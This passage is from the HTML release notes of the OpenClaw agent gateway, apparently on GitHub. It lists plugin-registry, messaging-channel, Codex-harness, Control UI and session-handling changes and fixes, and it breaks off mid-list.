<li>
<p>Plugins/ClawHub: prefer versioned ClawPack artifacts when ClawHub publishes digest metadata, verifying the ClawPack response header and downloaded bytes before installing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: persist ClawPack digest metadata on ClawHub plugin install and update records so registry refreshes and download verification can reuse stored artifact facts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: allow official bundled-plugin cutovers to record ClawHub artifact metadata while preserving npm as the launch default for bare package specs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/onboarding: allow install-on-demand provider setup entries to persist ClawHub artifact metadata after explicit ClawHub installs while retaining npm/local fallback paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/Crestodian: add ClawHub plugin search plus Crestodian plugin list/search/install/uninstall operations, with approval and audit coverage for install and uninstall.</p>
</li>
<li>
<p>Channels/thread bindings: replace split subagent/ACP thread-spawn toggles with <code>threadBindings.spawnSessions</code>, default thread-bound spawns on, and let <code>openclaw doctor --fix</code> migrate the legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367850512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75943" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75943/hovercard" href="https://github.com/openclaw/openclaw/pull/75943">#75943</a>)</p>
</li>
<li>
<p>Providers/OpenAI: add <code>extraBody</code>/<code>extra_body</code> passthrough for OpenAI-compatible TTS endpoints, so custom speech servers can receive fields such as <code>lang</code> in <code>/audio/speech</code> requests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041341848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39900" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39900/hovercard" href="https://github.com/openclaw/openclaw/issues/39900">#39900</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/R3NK0R/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/R3NK0R">@R3NK0R</a>.</p>
</li>
<li>
<p>Dependencies: refresh workspace dependency pins, including TypeBox 1.1.37, AWS SDK 3.1041.0, Microsoft Teams 2.0.9, and Marked 18.0.3. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/aws/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aws">@aws</a>, and <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/microsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/microsoft">@microsoft</a>.</p>
</li>
<li>
<p>Discord/channels: add reusable message-channel access groups plus Discord channel-audience DM authorization, so allowlists can reference <code>accessGroup:&lt;name&gt;</code> across channel auth paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366657956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75813" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75813/hovercard" href="https://github.com/openclaw/openclaw/pull/75813">#75813</a>)</p>
</li>
<li>
<p>Crabbox/scripts: print the selected Crabbox binary, version, and supported providers before <code>pnpm crabbox:*</code> commands, and reject stale binaries that lack <code>blacksmith-testbox</code> provider support.</p>
</li>
<li>
<p>Agents/Codex: add committed happy-path prompt snapshots for Codex/message-tool Telegram direct, Discord group, and heartbeat turns so prompt drift can be reviewed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Dependencies: refresh bundled runtime and plugin dependency pins, including Pi 0.71.1, OpenAI 6.35.0, Codex 0.128.0, Zod 4.4.1, and Matrix 41.4.0. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>Agents/workspace: add <code>agents.defaults.skipOptionalBootstrapFiles</code> for skipping selected optional workspace files during bootstrap without disabling required workspace setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213876746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62110/hovercard" href="https://github.com/openclaw/openclaw/pull/62110">#62110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mainstay22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mainstay22">@mainstay22</a>.</p>
</li>
<li>
<p>Plugins/CLI: add first-class <code>git:</code> plugin installs with ref checkout, commit metadata, normal scanner/staging, and <code>plugins update</code> support for recorded git sources. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/badlogic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/badlogic">@badlogic</a>.</p>
</li>
<li>
<p>Google Meet: add live caption health for Chrome transcribe mode, including caption observer state, transcript counters, last caption text, and recent transcript lines in status and doctor output. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Voice Call/Google Meet: add Twilio Meet join phase logs around pre-connect DTMF, realtime stream setup, and initial greeting handoff for easier live-call debugging. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>macOS app: move recent session context rows into a Context submenu while keeping usage and cost details root-level, so the menu bar companion stays compact with many active sessions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Guti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Guti">@Guti</a>.</p>
</li>
<li>
<p>Gateway/SDK: add SDK-facing tools.invoke RPC with shared HTTP policy, typed approval/refusal results, and SDK helper support. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354626015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74705/hovercard" href="https://github.com/openclaw/openclaw/issues/74705">#74705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Discord: keep active buttons, selects, and forms working across Gateway restarts until they expire, so multi-step Discord interactions are less likely to break during upgrades or restarts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Messages/docs: clarify that <code>BodyForAgent</code> is the primary inbound model text while <code>Body</code> is the legacy envelope fallback, and add Signal coverage so channel hardening patches target the real prompt path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258357958" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66198/hovercard" href="https://github.com/openclaw/openclaw/pull/66198">#66198</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defonota3box/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defonota3box">@defonota3box</a>.</p>
</li>
<li>
<p>Slack: publish a safe default App Home tab view on <code>app_home_opened</code> and include the Home tab event in setup manifests. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3911903854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11655/hovercard" href="https://github.com/openclaw/openclaw/issues/11655">#11655</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114456932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52020" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52020/hovercard" href="https://github.com/openclaw/openclaw/issues/52020">#52020</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</p>
</li>
<li>
<p>Slack: keep track of bot-participated threads across restarts, so ongoing threaded conversations can continue auto-replying after the Gateway is restarted. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Control UI/Usage: add UTC quarter-hour token buckets for the Usage Mosaic and reuse them for hour filtering, keeping the legacy session-span fallback for older summaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350628281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74337" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74337/hovercard" href="https://github.com/openclaw/openclaw/pull/74337">#74337</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konanok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konanok">@konanok</a>.</p>
</li>
<li>
<p>BlueBubbles: add opt-in <code>channels.bluebubbles.replyContextApiFallback</code> that fetches the original message from the BlueBubbles HTTP API when the in-memory reply-context cache misses (multi-instance deployments sharing one BB account, post-restart, after long-lived TTL/LRU eviction). Off by default; channel-level setting propagates to accounts that omit the flag through <code>mergeAccountConfig</code>; routed through the typed <code>BlueBubblesClient</code> so every fetch is SSRF-guarded by the same three-mode policy as every other BB client request; reply-id shape is validated and part-index prefixes (<code>p:0/&lt;guid&gt;</code>) are stripped before the request; concurrent webhooks for the same <code>replyToId</code> coalesce into one fetch and successful responses populate the reply cache for subsequent hits. Also promotes BlueBubbles attachment download failures from verbose to runtime error so silently-dropped inbound images are visible at default log level, and extends <code>sanitizeForLog</code> to redact <code>?password=…</code>/<code>?token=…</code> query params and <code>Authorization:</code> headers before they reach the log sink (CWE-532). (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329493815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71820" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71820/hovercard" href="https://github.com/openclaw/openclaw/pull/71820">#71820</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</p>
</li>
<li>
<p>CLI/proxy: add <code>openclaw proxy validate</code> so operators can verify effective proxy configuration, proxy reachability, and expected allow/deny destination behavior before deploying proxy-routed OpenClaw commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341892839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73438" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73438/hovercard" href="https://github.com/openclaw/openclaw/pull/73438">#73438</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</p>
</li>
<li>
<p>Agents/Codex: default Codex app-server dynamic tools to native-first, keeping OpenClaw integration tools while leaving file, patch, exec, and process ownership to the Codex harness. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361939028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75308" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75308/hovercard" href="https://github.com/openclaw/openclaw/pull/75308">#75308</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Agents/Codex: default Codex-harness direct source replies to the OpenClaw <code>message</code> tool when visible reply delivery is not explicitly configured, keeping channel-visible output as a deliberate tool call. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365795107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75765/hovercard" href="https://github.com/openclaw/openclaw/pull/75765">#75765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Heartbeats/agents: add a structured <code>heartbeat_respond</code> tool for tool-capable heartbeat runs so agents can record quiet outcomes or explicit notification text without relying only on <code>HEARTBEAT_OK</code> parsing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365795107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75765/hovercard" href="https://github.com/openclaw/openclaw/pull/75765">#75765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Gateway/config: allow <code>$include</code> directives to read files from operator-approved <code>OPENCLAW_INCLUDE_ROOTS</code> directories while preserving default config-directory confinement. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ificator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ificator">@ificator</a>.</p>
</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Agents/OpenAI: default GPT-5 API-key sessions to the SSE Responses transport unless WebSocket is explicitly selected, restoring replies in fresh Control UI and WebChat beta installs where the auto WebSocket path connected but produced no model events.</p>
</li>
<li>
<p>Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing sessions from staying stuck as running after completed or timed-out turns.</p>
</li>
<li>
<p>Gateway/CLI: make <code>openclaw gateway start</code> repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting.</p>
</li>
<li>
<p>Updates/plugins: keep packaged upgrades and beta external plugin installs on stable runtime aliases and matching prerelease npm specs, avoiding stale WebChat runtime chunks and old Twitch packages after upgrading from 2026.4.29.</p>
</li>
<li>
<p>Codex/app-server: resolve managed binaries from bundled <code>dist</code> chunks and from the <code>@openai/codex</code> package bin when installs do not provide a nearby <code>.bin/codex</code> shim, avoiding false missing-binary startup failures.</p>
</li>
<li>
<p>Status: show the <code>openai-codex</code> OAuth profile for <code>openai/gpt-*</code> sessions running through the native Codex runtime instead of reporting auth as unknown. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369662899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76197" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76197/hovercard" href="https://github.com/openclaw/openclaw/pull/76197">#76197</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: use the ClawHub artifact resolver response as the install decision before downloading, keeping legacy ZIP fallback and future ClawPack npm-pack installs on the same explicit resolver path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: keep bare plugin package specs on npm for the launch cutover and reserve ClawHub resolution for explicit <code>clawhub:</code> specs until ClawHub pack readiness is deployed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/source checkout: discover source-only plugins such as Codex from the <code>extensions/*</code> workspace while using npm package excludes as the packaged-core boundary, removing the stale core-bundle metadata path.</p>
</li>
<li>
<p>Plugins/ClawHub: install ClawPack artifacts from the explicit npm-pack <code>.tgz</code> resolver path and persist artifact kind, npm integrity, shasum, and tarball metadata for update and diagnostics flows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Control UI: allow deployments to configure grouped chat message max-width with a validated <code>gateway.controlUi.chatMessageMaxWidth</code> setting instead of patching bundled CSS after upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279800285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67935" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67935/hovercard" href="https://github.com/openclaw/openclaw/issues/67935">#67935</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiew4589-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiew4589-lang">@xiew4589-lang</a>.</p>
</li>
<li>
<p>Control UI/Cron: ignore malformed persisted cron rows without valid payloads before they enter UI state and guard stale cron render paths, preventing blank Control UI sections after a bad cron snapshot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141837644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55047" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55047/hovercard" href="https://github.com/openclaw/openclaw/issues/55047">#55047</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134780011" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54439" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54439/hovercard" href="https://github.com/openclaw/openclaw/issues/54439">#54439</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136558129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54550" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54550/hovercard" href="https://github.com/openclaw/openclaw/pull/54550">#54550</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136644421" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54552" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54552/hovercard" href="https://github.com/openclaw/openclaw/pull/54552">#54552</a>.</p>
</li>
<li>
<p>Control UI/sessions: bound the default Sessions tab query to recent activity and fewer rows, avoiding expensive full-history loads while keeping filters editable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368768078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76050" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76050/hovercard" href="https://github.com/openclaw/openclaw/issues/76050">#76050</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368768844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76051" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76051/hovercard" href="https://github.com/openclaw/openclaw/pull/76051">#76051</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neomail2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neomail2">@Neomail2</a>.</p>
</li>
<li>
<p>Gateway/channels: cap startup fanout at four channel/account handoffs and recover from Bonjour ciao self-probe races, reducing Windows startup stalls with many Telegram accounts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364841887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75687/hovercard" href="https://github.com/openclaw/openclaw/issues/75687">#75687</a>.</p>
</li>
<li>
<p>Gateway/sessions: keep <code>sessions.list</code> polling responsive on large session stores by reusing list-safe session cache/indexes and returning a lightweight compaction checkpoint preview instead of heavyweight summaries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rolandrscheel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rolandrscheel">@rolandrscheel</a>.</p>
</li>
<li>
<p>Control UI/Gateway: keep long-running dashboard WebSocket sessions alive with protocol pings and keep Stop available after reconnect or reload by recovering session-scoped active-run abort state. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321259716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70991" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70991/hovercard" href="https://github.com/openclaw/openclaw/issues/70991">#70991</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>.</p>
</li>
<li>
<p>CLI/update: treat inherited Gateway service markers as origin hints and only block package replacement when the managed Gateway is still live, so self-updates can stop the service and continue safely. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365329462" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75729" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75729/hovercard" href="https://github.com/openclaw/openclaw/pull/75729">#75729</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</p>
</li>
<li>
<p>Agents/failover: exempt run-level timeouts that fire during tool execution from model fallback, timeout-triggered compaction, and generic timeout payload synthesis, avoiding misleading "LLM request timed out" errors after the primary model has already responded. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115327379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52147" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52147/hovercard" href="https://github.com/openclaw/openclaw/issues/52147">#52147</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367303713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75873/hovercard" href="https://github.com/openclaw/openclaw/pull/75873">#75873</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simonusa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simonusa">@simonusa</a>.</p>
</li>
<li>
<p>Docker: copy Bun 1.3.13 from a digest-pinned image and keep CI on the same version. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350919036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74356" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74356/hovercard" href="https://github.com/openclaw/openclaw/issues/74356">#74356</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Agents/compaction: keep prior context on consecutive turns against z.ai-style providers (z.ai direct, openrouter z-ai/*, in-house GLM gateways), avoiding accidental Pi state reset after successful turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368789014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76056/hovercard" href="https://github.com/openclaw/openclaw/pull/76056">#76056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Doctor/plugins: run a one-time 2026.5.2 configured-plugin install repair based on <code>meta.lastTouchedVersion</code>, installing actively used downloadable OpenClaw plugins through the configured external source before marking the config touched for the release.</p>
</li>
<li>
<p>Sessions/transcripts: use one <code>session.writeLock.acquireTimeoutMs</code> policy for session transcript lock acquisitions and raise the default wait to 60 seconds, avoiding user-visible lock timeouts during legitimate slow prep, cleanup, compaction, and mirror work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367529883" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75894" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75894/hovercard" href="https://github.com/openclaw/openclaw/issues/75894">#75894</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shandutta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shandutta">@shandutta</a>.</p>
</li>
<li>
<p>Control UI: contain the standalone iOS PWA viewport with safe-area-aware document locking, so Add-to-Home-Screen launches cannot scroll past the device bounds. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368888109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76072" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76072/hovercard" href="https://github.com/openclaw/openclaw/pull/76072">#76072</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kvncrw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kvncrw">@kvncrw</a>.</p>
</li>
<li>
<p>Agents/restart recovery: match cleaned transcript locks by exact transcript lock paths plus the canonical session fallback, so interrupted main sessions using topic-suffixed transcripts resume after gateway restart. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368769053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76052" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76052/hovercard" href="https://github.com/openclaw/openclaw/pull/76052">#76052</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</p>
</li>
<li>
